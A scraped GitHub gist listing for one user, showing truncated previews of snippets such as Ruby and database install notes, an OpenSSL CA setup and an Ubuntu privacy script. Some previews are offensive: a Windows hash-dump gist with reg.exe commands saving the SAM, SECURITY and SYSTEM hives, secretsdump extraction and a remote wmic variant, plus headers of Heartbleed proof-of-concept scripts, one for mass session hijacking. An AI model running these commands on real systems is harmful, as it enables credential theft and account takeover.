Skip to content

Instantly share code, notes, and snippets.

sh1n0b1

  • Bishop Fox
Block or report user

Report or block sh1n0b1

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@sh1n0b1
sh1n0b1 / gist:5428373
Last active Dec 16, 2015
Java ReadFile
View gist:5428373
import java.io.*;
import java.util.*;
public static void main(String[] args){
readFile(args[0]);
}
public static void readFile(String fileName) throws FileNotFoundException{
File file = new File(fileName);
View makeauthority.sh
# Run this once
openssl genrsa -des3 -out ca.key 4096
openssl req -new -x509 -days 365 -key ca.key -out ca.crt
@sh1n0b1
sh1n0b1 / PyRequest.py
Last active Dec 30, 2015
Python HTTP Request
View PyRequest.py
import requests, re
URL = 'http://www.google.com'
r = requests.get(URL)
search = re.findall("google", r.text)
print search
@sh1n0b1
sh1n0b1 / Ruby.md
Created Dec 13, 2013
Ruby Installation
View Ruby.md

Ruby 2.0

Download Ruby and compile it:

mkdir /tmp/ruby && cd /tmp/ruby
curl --progress ftp://ftp.ruby-lang.org/pub/ruby/2.0/ruby-2.0.0-p353.tar.gz | tar xz
cd ruby-2.0.0-p353
./configure --disable-install-rdoc
make
sudo make install
@sh1n0b1
sh1n0b1 / DB.md
Created Dec 13, 2013
MySQL & PostgreSQL Installation
View DB.md

MySQL

# Install the database packages
sudo apt-get install -y mysql-server mysql-client libmysqlclient-dev

# Pick a database root password (can be anything), type it and press enter
# Retype the database root password and press enter

# Secure your installation.
sudo mysql_secure_installation
View launch_sublime_from_terminal.markdown

Launch Sublime Text 2 from the Mac OS X Terminal

Sublime Text 2 ships with a CLI called subl (why not "sublime", go figure). This utility is hidden in the following folder (assuming you installed Sublime in /Applications like normal folk. If this following line opens Sublime Text for you, then bingo, you're ready.

open /Applications/Sublime\ Text\ 2.app/Contents/SharedSupport/bin/subl

You can find more (official) details about subl here: http://www.sublimetext.com/docs/2/osx_command_line.html

Installation

@sh1n0b1
sh1n0b1 / fixubuntu.sh
Last active Jan 4, 2016
Fix Ubuntu Bash
View fixubuntu.sh
# Figure out the version of Ubuntu that you're running
V=`/usr/bin/lsb_release -rs`
# The privacy problems started with 12.10, so earlier versions should do nothing
if [ $V \< 12.10 ]; then
echo "Good news! Your version of Ubuntu doesn't invade your privacy."
else
# Turn off "Remote Search", so search terms in Dash don't get sent to the internet
gsettings set com.canonical.Unity.Lenses remote-content-search none
@sh1n0b1
sh1n0b1 / hashdump.reg
Last active Nov 7, 2018
Windows local Hash Dump
View hashdump.reg
reg.exe save hklm\sam c:\temp\sam.save
reg.exe save hklm\security c:\temp\security.save
reg.exe save hklm\system c:\temp\system.save
secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
#https://github.com/CoreSecurity/impacket/blob/master/examples/secretsdump.py
#Do this remotely
wmic /node:"<computer_name>" /user:"<username>" /password:"<password>" process call create "cmd.exe /c reg save hklm\sam C:\temp\sam.save"
@sh1n0b1
sh1n0b1 / ssltest.py
Created Apr 8, 2014
Python Heartbleed (CVE-2014-0160) Proof of Concept
View ssltest.py
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
@sh1n0b1
sh1n0b1 / heartbleed-altered.py
Created Apr 9, 2014
Using Heartbleed PoC for Hijacking User Sessions En Masse
View heartbleed-altered.py
#!/usr/bin/python
# Connects to servers vulnerable to CVE-2014-0160 and looks for cookies, specifically user sessions.
# Michael Davis (mike.philip.davis@gmail.com)
# Based almost entirely on the quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
# https://www.michael-p-davis.com/using-heartbleed-for-hijacking-user-sessions/
You can’t perform that action at this time.